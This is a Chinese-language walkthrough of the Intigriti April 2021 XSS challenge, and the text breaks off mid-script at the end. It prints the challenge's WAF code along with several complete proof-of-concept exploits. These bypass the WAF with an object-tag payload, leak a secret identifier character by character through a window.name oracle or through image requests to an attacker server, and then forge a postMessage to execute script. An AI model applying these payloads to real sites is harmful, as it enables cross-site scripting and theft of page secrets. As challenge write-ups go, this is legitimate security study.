0x00 前言
Intigriti xxs challenge 0421 被官方自己被评价为目前为止 Intigriti史上最难的 XSS 挑战。在有效提交期内,全球参与的 hacker、CFTer、Bugbounty hunter 仅有15人成功通过挑战拿到flag。
该挑战由@terjanq根据他在漏洞挖掘中绕过的真实场景下的waf规则所编写。挑战地址:https://challenge-0421.intigriti.io/ ,以下要求:
- 使用最新版的Firefox或者Chrome浏览器
- 使用
alert()
弹窗flag{THIS_IS_THE_FLAG}
- 利用此页面的xss漏洞
- 不允许self-XSS 和 MiTM 攻击
- 无需用户交互
本人也在提交期内对该挑战进行了尝试,对整个网页以及背后的waf逻辑进行了分析研究,但无奈菜狗一枚,未能在有效提交期内通关。通过赛后公布的poc,对个人思路和通关思路进行复盘,形成本WP,供共同学习交流。感兴趣的小伙伴也可以自行尝试,感受该XSS挑战的难度和乐趣!
0x01 代码分析
对题目网页进行分析,主要包括网页源码(index)
和一个waf.html
(https://challenge-0421.intigriti.io/waf.html)。
(index)
<!DOCTYPE html>
<html>
<head>
<title>Intigriti April Challenge</title>
<meta charset="UTF-8">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:site" content="@intigriti">
<meta name="twitter:creator" content="@intigriti">
<meta name="twitter:title" content="April XSS Challenge - Intigriti">
<meta name="twitter:description" content="Find the XSS and WIN Intigriti swag.">
<meta name="twitter:image" content="https://challenge-0421.intigriti.io/share.jpg">
<meta property="og:url" content="https://challenge-0421.intigriti.io" />
<meta property="og:type" content="website" />
<meta property="og:title" content="April XSS Challenge - Intigriti" />
<meta property="og:description" content="Find the XSS and WIN Intigriti swag." />
<meta property="og:image" content="https://challenge-0421.intigriti.io/share.jpg" />
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;700&display=swap" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="./style.css" />
<meta http-equiv="content-security-policy" content="script-src 'unsafe-inline';">
</head>
<body>
<section id="wrapper">
<section id="rules">
<div class="card-container error" id="error-container">
<div class="card-content" id="error-content">
Error: something went wrong. Please try again!
</div>
</div>
<div id="challenge-container" class="card-container">
<div class="card-header">
<img class="card-avatar" src="./terjanq.png"/>
Intigriti's 0421 XSS challenge - by <a target="_blank" href="https://twitter.com/terjanq">@terjanq</a></span></div>
<div id="challenge-info" class="card-content">
<p>Find a way to execute arbitrary javascript on this page and win Intigriti swag.</p>
<b>Rules:</b>
<ul>
<li>This challenge runs from April 19 until April 25th, 11:59 PM CET.</li>
<li>
Out of all correct submissions, we will draw <b>six</b> winners on Monday, April 26th:
<ul>
<li>Three randomly drawn correct submissions</li>
<li>Three best write-ups</li>
</ul>
</li>
<li>Every winner gets a €50 swag voucher for our <a href="https://swag.intigriti.com" target="_blank">swag shop</a></li>
<li>The winners will be announced on our <a href="https://twitter.com/intigriti" target="_blank">Twitter profile</a>.</li>
<li>For every 100 likes, we'll add a tip to <a href="https://go.intigriti.com/challenge-tips" target="_blank">announcement tweet</a>.</li>
</ul>
<b>The solution...</b>
<ul>
<li>Should work on the latest version of Firefox or Chrome</li>
<li>Should <code>alert()</code> the following flag: <code id="flag">flag{THIS_IS_THE_FLAG}</code>.</li>
<li>Should leverage a cross site scripting vulnerability on this page.</li>
<li>Shouldn't be self-XSS or related to MiTM attacks</li>
<li>Should not use any user interaction</li>
<li>Should be reported at <a href="https://go.intigriti.com/submit-solution">go.intigriti.com/submit-solution</a></li>
</ul>
</div>
</div>
<iframe id="wafIframe" src="./waf.html" sandbox="allow-scripts" style="display:none"></iframe>
<script>
const wafIframe = document.getElementById('wafIframe').contentWindow;
const identifier = getIdentifier();
function getIdentifier() {
const buf = new Uint32Array(2);
crypto.getRandomValues(buf);
return buf[0].toString(36) + buf[1].toString(36)
}
function htmlError(str, safe){
const div = document.getElementById("error-content");
const container = document.getElementById("error-container");
container.style.display = "block";
if(safe) div.innerHTML = str;
else div.innerText = str;
window.setTimeout(function(){
div.innerHTML = "";
container.style.display = "none";
}, 10000);
}
function addError(str){
wafIframe.postMessage({
identifier,
str
}, '*');
}
window.addEventListener('message', e => {
if(e.data.type === 'waf'){
if(identifier !== e.data.identifier) throw /nice try/
htmlError(e.data.str, e.data.safe)
}
});
window.onload = () => {
const error = (new URL(location)).searchParams.get('error');
if(error !== null) addError(error);
}
</script>
</body>
</html>
waf.html
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><script>
onmessage = e => {
const identifier = e.data.identifier;
e.source.postMessage({
type:'waf',
identifier,
str: e.data.str,
safe: (new WAF()).isSafe(e.data.str)
},'*');
}
function WAF() {
const forbidden_words = ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:'];
const dangerous_operators = ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
function decodeHTMLEntities(str) {
var ta = document.createElement('textarea');
ta.innerHTML = str;
return ta.value;
}
function onlyASCII(str){
return str.replace(/[^\x21-\x7e]/g,'');
}
function firstTag(str){
return str.search(/<[a-z]+/i)
}
function firstOnHandler(str){
return str.search(/on[a-z]{3,}/i)
}
function firstEqual(str){
return str.search(/=/);
}
function hasDangerousOperators(str){
return dangerous_operators.some(op=>str.includes(op));
}
function hasForbiddenWord(str){
return forbidden_words.some(word=>str.search(new RegExp(word, 'gi'))!==-1);
}
this.isSafe = function(str) {
let decoded = onlyASCII(decodeHTMLEntities(str));
const first_tag = firstTag(decoded);
if(first_tag === -1) return true;
decoded = decoded.slice(first_tag);
if(hasForbiddenWord(decoded)) return false;
const first_on_handler = firstOnHandler(decoded);
if(first_on_handler === -1) return true;
decoded = decoded.slice(first_on_handler)
const first_equal = firstEqual(decoded);
if(first_equal === -1) return true;
decoded = decoded.slice(first_equal+1);
if(hasDangerousOperators(decoded)) return false;
return true;
}
}
</script></head><body></body></html>
代码量不大,运行逻辑也很清晰。在主页中可以看到,首先定义了一个随机值identifier
:
可以在url中引入error
参数进行有关输入,也能进行html injection:
输入值会通过postMessage
传递给waf
,该消息e.data.indentifier
的值为先前生成的随机值,确保交互通信没有被拦截,e.data.str
的值为我们的输入:
输入值经过waf的处理后,会对不安全的输入中的各种字符进行检查,经过处理后对e.data.safe
打上值,认定输入是否是安全的。当safe:true
时,通过htmlError()
方法在页面上通过innerHTML
innerText
显示有关错误信息,可以用于payload的触发。此外,错误信息会在10秒后被删除:
此外,该页面响应头还X-Frame-Options: DENY
,无法通过外部的<iframe>
引用:
下面,对waf.html
进行分析。waf 规则对一些特殊标签和字符进行了限制:
['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:']
['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
整个过程是对输入进行纯ascii码、onXXX
事件、=
以及包含限制标签和字符的检测。经过调试分析,规则允许注入onXXX
事件:
0x02 思路分析
在有效提交期内,Intigriti 先后总放出7条hits:
(4.19)First hint: find the objective!
(4.20)Time for another hint! Where to smuggle data?
(4.20)Time for another tip! One bite after another!
(4.20)Here’s an extra tip: ++ is also an assignment
(4.22)Let’s give another hint:”Behind a Greater Oracle there stands one great Identity” (leak it)
(4.23)Tipping time! Goal < object(ive)
(4.24)Another hint: you might need to unload a custom loop!
这里先卖个关子,先不对hits 背后隐藏线索进行解释。感兴趣的小伙伴可以自行尝试,看看能不能通关这个XSS挑战。
结合上面的代码分析,我有了以下思路:
1.寻找一个可以绕过waf 的payload
2.通过postMessage
构造合适的消息,达成触发xss的条件
3.突破identifier
随机值的限制
首先考虑如何绕过waf。由于通过error
参数值作为的输入需要经过waf的检测,通过前面的分析,waf对很多标签和字符进行了禁止,用于限制恶意代码的执行,可以说规则还是很严格的,很多常用XSS payload 构成方式都不能使用。'
"
` 被禁止,所以JS字串形式无法使用,[]
{}
()
=
被禁止,通过函数赋值的形式也无法使用。此外,X-Frame-Options: DENY
的限制,使得我们无法通过<iframe>
外部引用执行xss,所以思路转向能能够通过输入,在网页内部嵌入一个外部的恶意站点,用来触发xss。此外,我也发现了onXXX=
事件可以被插入到输入中,并不被禁止。沿着这两个条件分析,进行了大量的测试,最终发现如下形式的payload可以绕过waf的检测。
<object data=XXXXXXX onload=xss></object>
这里使用了<object>
标签(不在waf的禁止范围内),它用于引入一个外部资源:
尝试插入我的头像,成功:
<object data=https://p5.ssl.qhimg.com/sdm/90_90_100/t0125c3f3f3fc1b13fd.png onload=xss></object>
尝试插入一个外部网页,成功
<object data=https://attacker.com/xss-poc.html onload=xss></object>
下面,验证通过window.postMessage
控制消息值,达到触发xss的条件。按照这个思路,验证self-xss可行性。可以看到当我们的输入经过waf处理后,e.data.type='waf'
e.data.identifer='(事先生成的随机值)''
e.data.str='payload'
e.data.safe='true'or 'false'
:
从前面的分析可以知道,只有safe=true
时,构造的payload才能被赋值给div.innerHTML
。结合上述条件,这里构造消息信息如下,传递时为e
,即可绕过waf的过滤检测:
window.postMessage({
type: 'waf',
identifier: "tze8f445ssb7",
str: '<img src=x onerror=alert("flag{THIS_IS_THE_FLAG}")>',
safe: true
}, '*')
通过postMessage
触发xss的思路可行,仅在self-xss条件下可行,因为identifier
的值是随机生成的,需要突破该限制。
截止目前,我的思路整理如下:
- 绕过waf (构造形如
<object data=XXXXXXX onload=xss></object>
的payload可以bypass waf,同时onXXX=
没有被禁止,可以加载外部页面 ) - 通过
postMessage
触发xss(self-xss验证可行,可以通过外部页面发送消息) - 突破
identifier
随机值的限制
为了突破identifier
随机值的限制,我首先想到的是能不能像SQLi 盲注那这样通过特定的反馈,将值一位一位的试出来。由于identifier
是本站生成的,如何在跨站的条件下降该值泄露出来,是关键点的思路。此外,我还发现了一些有趣的点: window.neme=""
可能可以利用,通过特殊方式的将泄露出的字段写入top.name
中。
为了能将identifier
一位一位泄露出来,需要构造比较。它的构成只包含0-9a-z
:
那么如何判断每一位值是多少呢,这有由于禁止[]
,所以无法使用identifier[i]
的形式来构造字串进行按位比较。不过我们可以利用以下的规律:
可以看到这里identifier="tze8f445ssb7"
第一位是t
,当比较字符小于t
时,均返回false
,当比较字符为u
时,返回true
,由此我们可以判定第一位为t
。保留t
,继续构造第二位t?
进行比较:
那么按照这个规律,构造循环进行比较,当每次返回true
时,即可判断出当前位的值,同时还需要对前面确定的值保存,才能继续判断下一位。我的思路是通过特定的方法构造这个循环,并通过window.neme=""
可以利用的特性,当一个中间的数据”寄存器”。
首先,为了推算identifier
第一位,构造如下结构payload:
error=<object data=https://baidu.com/ onload=location.hash+/0/.source<identifier&&window.name++></object>#
这里,当location.hash+/0/.source<identifier
即'0'<'t'
成立,然后&&window.name++
,即window.name
+1。通过onload
事件重复这个过程,即可在一轮比较后,通过window.name
的值-1,按照0-9a-z
的顺序序号,即可推算出identifier
第一位的值。这里需要注意,对&
+
进行url编码,否则,在运行过程中会被截断,造成payload因不完整无法执行(&& --> %26%26
++ --> %2b%2b
),还需要额外添加~
用来检测z
:
https://challenge-0421.intigriti.io/
?error=<object data=https://attacker.com/poc.html
onload=location.hash+/0/.source<identifier&&window.name++,
location.hash+/1/.source<identifier&&window.name++,
location.hash+/2/.source<identifier&&window.name++,
location.hash+/3/.source<identifier&&window.name++,
location.hash+/4/.source<identifier&&window.name++,
location.hash+/5/.source<identifier&&window.name++,
location.hash+/6/.source<identifier&&window.name++,
location.hash+/7/.source<identifier&&window.name++,
location.hash+/8/.source<identifier&&window.name++,
location.hash+/9/.source<identifier&&window.name++,
location.hash+/a/.source<identifier&&window.name++,
location.hash+/b/.source<identifier&&window.name++,
location.hash+/c/.source<identifier&&window.name++,
location.hash+/d/.source<identifier&&window.name++,
location.hash+/e/.source<identifier&&window.name++,
location.hash+/f/.source<identifier&&window.name++,
location.hash+/g/.source<identifier&&window.name++,
location.hash+/h/.source<identifier&&window.name++,
location.hash+/i/.source<identifier&&window.name++,
location.hash+/j/.source<identifier&&window.name++,
location.hash+/k/.source<identifier&&window.name++,
location.hash+/l/.source<identifier&&window.name++,
location.hash+/m/.source<identifier&&window.name++,
location.hash+/n/.source<identifier&&window.name++,
location.hash+/o/.source<identifier&&window.name++,
location.hash+/p/.source<identifier&&window.name++,
location.hash+/q/.source<identifier&&window.name++,
location.hash+/r/.source<identifier&&window.name++,
location.hash+/s/.source<identifier&&window.name++,
location.hash+/t/.source<identifier&&window.name++,
location.hash+/u/.source<identifier&&window.name++,
location.hash+/v/.source<identifier&&window.name++,
location.hash+/w/.source<identifier&&window.name++,
location.hash+/x/.source<identifier&&window.name++,
location.hash+/y/.source<identifier&&window.name++,
location.hash+/z/.source<identifier&&window.name++,
location.hash+/~/.source<identifier&&window.name++></object>#
可以看到,该payload成功定位到identifier
的第一位值。现在需要构造循环,通过13次上述操作(长度为13位),将identifier
的值全部泄露出来,每个循环开始前还需要将window.name
归零。
当我们将外部POC页面嵌入题目页面后,尝试利用POC页面获取top.name
来控制题目页面window.name
的时候,发现跨域拦截:
那么,现在还需要突破跨域获取top.name
的限制。经过大量的尝试,一直到提交期截止,也没能找到合适的方式,来捕获用于泄露identifier
的window.name
。因为不重新加载窗口的情况下,直接读取跨源资源的window.name
是不可能的。
通过对赛后POC的思路启发,这里利用了一个特别巧妙的方法。举个例子,当我们执行window.open("http://XXXX",66)
时,就会弹出一个window.name='66'
的窗口。但如果已经有一个窗口为66
,就会执行重定向到该窗口而不是重新弹出。有了这个特性,可以通过一种“试”的方法,暴力测试我们想要获取的题目页面的window.name
。
这里使用了一个<iframe sanbox=...>
来调用window.open()
,允许top导航变化,但会禁止弹出。
<iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe>
同时,当测试出的window.name
值与实际值一致时,防止真的重定向发生,设置一个无效的协议xxxx://no-trigger
。这里进行一个简单的验证,例如打开一个window.name='6'
的题目页面,通过<object
payload 将poc.html嵌入,poc.html首内包含测试window.name
值的代码:
<script>
window.open("https://challenge-0421.intigriti.io/?error=<object data='https://xss-poc.***/poc.html'></object>",3)
function getTopName() {
let i = 0;
for (; i < 10; i++) {
let res = ( () => {
let x;
try {
// shouldn't trigger new navigation
x = xss.open('xss://xss', i);
// this is for firefox
if (x !== null) return 1;
return;
} catch (e) {}
})();
if (res) break;
}
return i;
}
topName = getTopName();
console.log("top_window.name"+topName);
</script>
当我们打开poc.html后,会弹出https://challenge-0421.intigriti.io/?error=<object data='https://attacker.com/poc.html
,在新打开的题目页面,会嵌入https://xss-poc.***/poc.html
,然后执行代码,测出题目页window.name
值,也就是我们需要的top.name
,这样便能突破window.name
跨域获取的限制:
例如,结合前面的payload,成功获取identifier
第一位对应的window.name
值:
<body>
<h1>xss poc</h1>
<span>Leaked identifier: <code id=leakedIdentifier></code></span>
<iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe>
<script>
window.open("https://challenge-0421.intigriti.io/?error=<object data=https://xss-poc.****/poc.html onload=location.hash%2B%2F0%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F1%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F2%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F3%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F4%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F5%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F6%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F7%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F8%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F9%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fa%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fb%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fc%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fd%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fe%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Ff%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fg%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fh%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fi%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fj%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fk%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fl%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fm%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fn%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fo%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fp%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fq%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fr%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fs%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Ft%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fu%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fv%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fw%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fx%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fy%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fz%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F%7E%2F.source%3Cidentifier%26%26window.name%2B%2B></object>#")
function getTopName() {
let i = 0;
for (; i < 40; i++) {
let res = ( () => {
let x;
try {
// shouldn't trigger new navigation
x = xss.open('xss://xss', i);
// this is for firefox
if (x !== null) return 1;
return;
} catch (e) {}
})();
if (res) break;
}
return i;
}
keywords = "0123456789abcdefghijklmnopqrstuvwxyz~";
function get_char(){
topName = getTopName();
char = keywords[topName-1];
console.log("get_top_window.name: "+ topName);
console.log("this_char: "+ char)
}
setTimeout(get_char,100);
</script>
</body>
结合前面可以通过window.name
值的累加推算出identifier
某位的字符,现在又可以通过外部页面获得top.name
值。通过获得的top.name
值找到对应的字符,保存在location.hash
中,继续构造循环及比较下去,即可推算出identifier
的所有值。为了构造这个循环,需要对重新不停的重新载入题目页面,完成每一次的identifier
每一位的求解,这里对payload进行了改进,插入两个<object ...
,通过加载一个空的Blob实现:
<object name=poc data=//attacker.com/poc.html></object>
<object name=xss src=//attacker.com/xss.html onload=XSS></object>
top.xss.location = URL.createObjectURL(new Blob([], { type: 'text/html'}));
当成功泄露出identifier
值后,即可构造postMessage
消息,实现xss
POC
综上,将所有的思路联合起来就能突破题目的各种限制:
1.<object
绕过waf
2.泄露identifier
随机值
3.构造postMessage
消息,触发xss
完整的POC如下:
<html>
<body>
<span>Leaked identifier: <code id=leakedIdentifier></code></span>
<iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe>
<script>
const keywords = "0123456789abcdefghijklmnopqrstuvwxyz~"
const payload = keywords.split('').map(c => `location.hash+/${c}/.source</##/.source+identifier&&++top.name`
).join(',')
const thisUrl = location.href.replace('http://', 'https://');
const top_url = 'https://challenge-0421.intigriti.io/?error=' + encodeURIComponent(
`<object style=width:100% name=x data=${thisUrl}></object><object data=` +
`//${location.host}/empty.html name=lload onload=${payload}></object>`
);
if (top === window) {
let startxss = confirm("Start XSS?");
if(!startxss) throw /stopped/;
name = 0;
location = top_url + '##'
throw /stop/
}
let lastValue = 0;
let identifier = '';
let stop = false;
async function getTopName() {
let i = 0;
// it's just magic. tl;dr chrome and firefox work differently
// but this polyglot works for both;
for (; i < keywords.length + 1; i++) {
let res = await (async () => {
let x;
try {
// shouldn't trigger new navigation
x = xss.open('xxxx://no-trigger', i + lastValue);
// this is for firefox
if (x !== null) return 1;
return;
} catch (e) {}
})();
if (res) break;
}
return i + lastValue;
}
async function watchForNameChange() {
let topName = await getTopName();
if (topName !== lastValue) {
const newTopName = topName - lastValue;
lastValue = topName;
get_char(newTopName - 1);
} else {
setTimeout(watchForNameChange, 60);
}
}
function oracleLoaded() {
watchForNameChange();
}
function log(identifier) {
leakedIdentifier.innerHTML = identifier;
console.log(identifier);
}
function get_char(d) {
let c = keywords[d]
if (c === '~') {
identifier = identifier.slice(0, -1) + keywords[keywords.search(identifier.slice(-1)) + 1];
log(identifier);
expxss(identifier);
return;
}
identifier += c;
log(identifier);
top.location = top_url + '##' + identifier;
top.lload.location = URL.createObjectURL(new Blob([
'<script>onload=top.x.oracleLoaded<\/script>'
], {
type: 'text/html'
}));
}
function expxss(identifier) {
stop = true;
top.postMessage({
type: 'waf',
identifier,
str: `<img src=x onerror=alert("flag{THIS_IS_THE_FLAG}")>`,
safe: true
}, '*')
}
onload = () => {
setTimeout(watchForNameChange, 60);
}
</script>
</body>
</html>
成功实现xss,通过挑战!
这里再对hits进行一个解释:
(4.19)First hint: find the objective!【 提示
<object>
】
(4.20)Time for another hint! Where to smuggle data?【提示object data
以及后面可以利用的locatino.hash
】
(4.20)Time for another tip! One bite after another!【提示需要一位一位的泄露identifier
】
(4.20)Here’s an extra tip: ++ is also an assignment 【提示可以利用++巧妙的跨站测算出identifier
】
(4.22)Let’s give another hint:”Behind a Greater Oracle there stands one great Identity” (leak it) 【提示构造比较的方式泄露identifier
】
(4.23)Tipping time! Goal < object(ive) 【提示利用<object
标签,采用identifier<"str"
的方式构造比较】
(4.24)Another hint: you might need to unload a custom loop! 【提示构造循环】
最后,再放一些利用其他方式的POC。
利用<img>
:
var payload = `
<img srcset=//my_server/0 id=n0 alt=#>
<img srcset=//my_server/1 id=n1 alt=a>
<img srcset=//my_server/2 id=n2 alt=b>
<img srcset=//my_server/3 id=n3 alt=c>
<img srcset=//my_server/4 id=n4 alt=d>
<img srcset=//my_server/5 id=n5 alt=e>
<img srcset=//my_server/6 id=n6 alt=f>
<img srcset=//my_server/7 id=n7 alt=g>
<img srcset=//my_server/8 id=n8 alt=h>
<img srcset=//my_server/9 id=n9 alt=i>
<img srcset=//my_server/a id=n10 alt=j>
<img srcset=//my_server/b id=n11 alt=k>
<img srcset=//my_server/c id=n12 alt=l>
<img srcset=//my_server/d id=n13 alt=m>
<img srcset=//my_server/e id=n14 alt=n>
<img srcset=//my_server/f id=n15 alt=o>
<img srcset=//my_server/g id=n16 alt=p>
<img srcset=//my_server/h id=n17 alt=q>
<img srcset=//my_server/i id=n18 alt=r>
<img srcset=//my_server/j id=n19 alt=s>
<img srcset=//my_server/k id=n20 alt=t>
<img srcset=//my_server/l id=n21 alt=u>
<img srcset=//my_server/m id=n22 alt=v>
<img srcset=//my_server/n id=n23 alt=w>
<img srcset=//my_server/o id=n24 alt=x>
<img srcset=//my_server/p id=n25 alt=y>
<img srcset=//my_server/q id=n26 alt=z>
<img srcset=//my_server/r id=n27 alt=0>
<img srcset=//my_server/s id=n28>
<img srcset=//my_server/t id=n29>
<img srcset=//my_server/u id=n30>
<img srcset=//my_server/v id=n31>
<img srcset=//my_server/w id=n32>
<img srcset=//my_server/x id=n33>
<img srcset=//my_server/y id=n34>
<img srcset=//my_server/z id=n35>
<img id=lo srcset=//my_server/loop onerror=
n0.alt+identifier<location.hash+1?n0.src+++lo.src++:
n0.alt+identifier<location.hash+2?n1.src+++lo.src++:
n0.alt+identifier<location.hash+3?n2.src+++lo.src++:
n0.alt+identifier<location.hash+4?n3.src+++lo.src++:
n0.alt+identifier<location.hash+5?n4.src+++lo.src++:
n0.alt+identifier<location.hash+6?n5.src+++lo.src++:
n0.alt+identifier<location.hash+7?n6.src+++lo.src++:
n0.alt+identifier<location.hash+8?n7.src+++lo.src++:
n0.alt+identifier<location.hash+9?n8.src+++lo.src++:
n0.alt+identifier<location.hash+n1.alt?n9.src+++lo.src++:
n0.alt+identifier<location.hash+n2.alt?n10.src+++lo.src++:
n0.alt+identifier<location.hash+n3.alt?n11.src+++lo.src++:
n0.alt+identifier<location.hash+n4.alt?n12.src+++lo.src++:
n0.alt+identifier<location.hash+n5.alt?n13.src+++lo.src++:
n0.alt+identifier<location.hash+n6.alt?n14.src+++lo.src++:
n0.alt+identifier<location.hash+n7.alt?n15.src+++lo.src++:
n0.alt+identifier<location.hash+n8.alt?n16.src+++lo.src++:
n0.alt+identifier<location.hash+n9.alt?n17.src+++lo.src++:
n0.alt+identifier<location.hash+n10.alt?n18.src+++lo.src++:
n0.alt+identifier<location.hash+n11.alt?n19.src+++lo.src++:
n0.alt+identifier<location.hash+n12.alt?n20.src+++lo.src++:
n0.alt+identifier<location.hash+n13.alt?n21.src+++lo.src++:
n0.alt+identifier<location.hash+n14.alt?n22.src+++lo.src++:
n0.alt+identifier<location.hash+n15.alt?n23.src+++lo.src++:
n0.alt+identifier<location.hash+n16.alt?n24.src+++lo.src++:
n0.alt+identifier<location.hash+n17.alt?n25.src+++lo.src++:
n0.alt+identifier<location.hash+n18.alt?n26.src+++lo.src++:
n0.alt+identifier<location.hash+n19.alt?n27.src+++lo.src++:
n0.alt+identifier<location.hash+n20.alt?n28.src+++lo.src++:
n0.alt+identifier<location.hash+n21.alt?n29.src+++lo.src++:
n0.alt+identifier<location.hash+n22.alt?n30.src+++lo.src++:
n0.alt+identifier<location.hash+n23.alt?n31.src+++lo.src++:
n0.alt+identifier<location.hash+n24.alt?n32.src+++lo.src++:
n0.alt+identifier<location.hash+n25.alt?n33.src+++lo.src++:
n0.alt+identifier<location.hash+n26.alt?n34.src+++lo.src++:
n35.src+++lo.src++>`
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
</body>
<script>
var payload = // see above
payload = encodeURIComponent(payload)
var baseUrl = 'https://my_server'
// reset first
fetch(baseUrl + '/reset').then(() => {
start()
})
async function start() {
// assume identifier start with 1
console.log('POC started')
if (window.xssWindow) {
window.xssWindow.close()
}
window.xssWindow = window.open(`https://challenge-0421.intigriti.io/?error=${payload}#1`, '_blank')
polling()
}
function polling() {
fetch(baseUrl + '/polling').then(res => res.text()).then((token) => {
// guess fail, restart
if (token === '1zz') {
fetch(baseUrl + '/reset').then(() => {
console.log('guess fail, restart')
start()
})
return
}
if (token.length >= 10) {
window.xssWindow.postMessage({
type: 'waf',
identifier: token,
str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>',
safe: true
}, '*')
}
window.xssWindow.location = `https://challenge-0421.intigriti.io/?error=${payload}#${token}`
// After POC finsihed, polling will timeout and got error message, I don't want to print the message
if (token.length > 20) {
return
}
console.log('token:', token)
polling()
})
}
</script>
</html>
var express = require('express')
const app = express()
app.use(express.static('public'));
app.use((req, res, next) => {
res.set('Access-Control-Allow-Origin', '*');
next()
})
const handlerDelay = 100
const loopDelay = 550
var initialData = {
count: 0,
token: '1',
canStartLoop: false,
loopStarted: false,
canSendBack: false
}
var data = {...initialData}
app.get('/reset', (req, res) => {
data = {...initialData}
console.log('======reset=====')
res.end('reset ok')
})
app.get('/polling', (req, res) => {
function handle(req, res) {
if (data.canSendBack) {
data.canSendBack = false
res.status(200)
res.end(data.token)
console.log('send back token:', data.token)
if (data.token.length < 14) {
setTimeout(() => {
data.canStartLoop = true
}, loopDelay)
}
} else {
setTimeout(() => {
handle(req, res)
}, handlerDelay)
}
}
handle(req, res)
})
app.get('/loop', (req, res) => {
function handle(req, res) {
if (data.canStartLoop) {
data.canStartLoop = false
res.status(500)
res.end()
} else {
setTimeout(() => {
handle(req, res)
}, handlerDelay)
}
}
handle(req, res)
})
app.get('/:char', (req, res) => {
// already start stealing identifier
if (req.params.char.length > 1) {
res.end()
return
}
console.log('char received', req.params.char)
if (data.loopStarted) {
data.token += req.params.char
console.log('token:', data.token)
data.canSendBack = true
res.status(500)
res.end()
return
}
// first round
data.count++
if (data.count === 36) {
console.log('initial image loaded, start loop')
data.count = 0
data.loopStarted = true
data.canStartLoop = true
}
res.status(500)
res.end()
})
app.listen(5555, () => {
console.log('5555')
})
另一个POC:
<!DOCTYPE html>
<html>
<head>
<link rel="icon" href="data:;base64,iVBORw0KGgo=" />
</head>
<body>
<script>
let currentIdentifier = "1";
function getIdentifier() {
return currentIdentifier;
}
async function setIdentifier(identifier) {
console.log("CHANGE GUESS CALLED", identifier);
if (identifier == currentIdentifier) return;
checkWindow.location = `http://localhost:3000/opener.html?not`;
await waitUntilWriteable(checkWindow);
checkWindow.name = "" + identifier;
checkWindow.location = `https://challenge-0421.intigriti.io/style.css`;
currentIdentifier = "" + identifier;
await waitForLocationChange(
checkWindow,
`https://challenge-0421.intigriti.io/style.css`
);
}
async function waitForLocationChange(windowReference, location) {
return new Promise((resolve) => {
const handle = setInterval(() => {
try {
if (windowReference.location.href.includes(location)) {
clearInterval(handle);
setTimeout(resolve, 100);
}
} catch (e) {}
});
});
}
async function waitUntilWriteable(windowReference) {
return new Promise((resolve) => {
const handle = setInterval(() => {
try {
if (windowReference.name.length) {
clearInterval(handle);
setTimeout(resolve, 100);
}
} catch (e) {}
});
});
}
(async () => {
checkWindow = window.open(`http://localhost:3000/opener.html`, "1");
await waitForLocationChange(
checkWindow,
`http://localhost:3000/opener.html`
);
checkWindow.location = `https://challenge-0421.intigriti.io/style.css`;
})();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<link rel="icon" href="data:;base64,iVBORw0KGgo=" />
</head>
<body>
<script>
if (location.search.includes("not") === false) {
w = window.open(
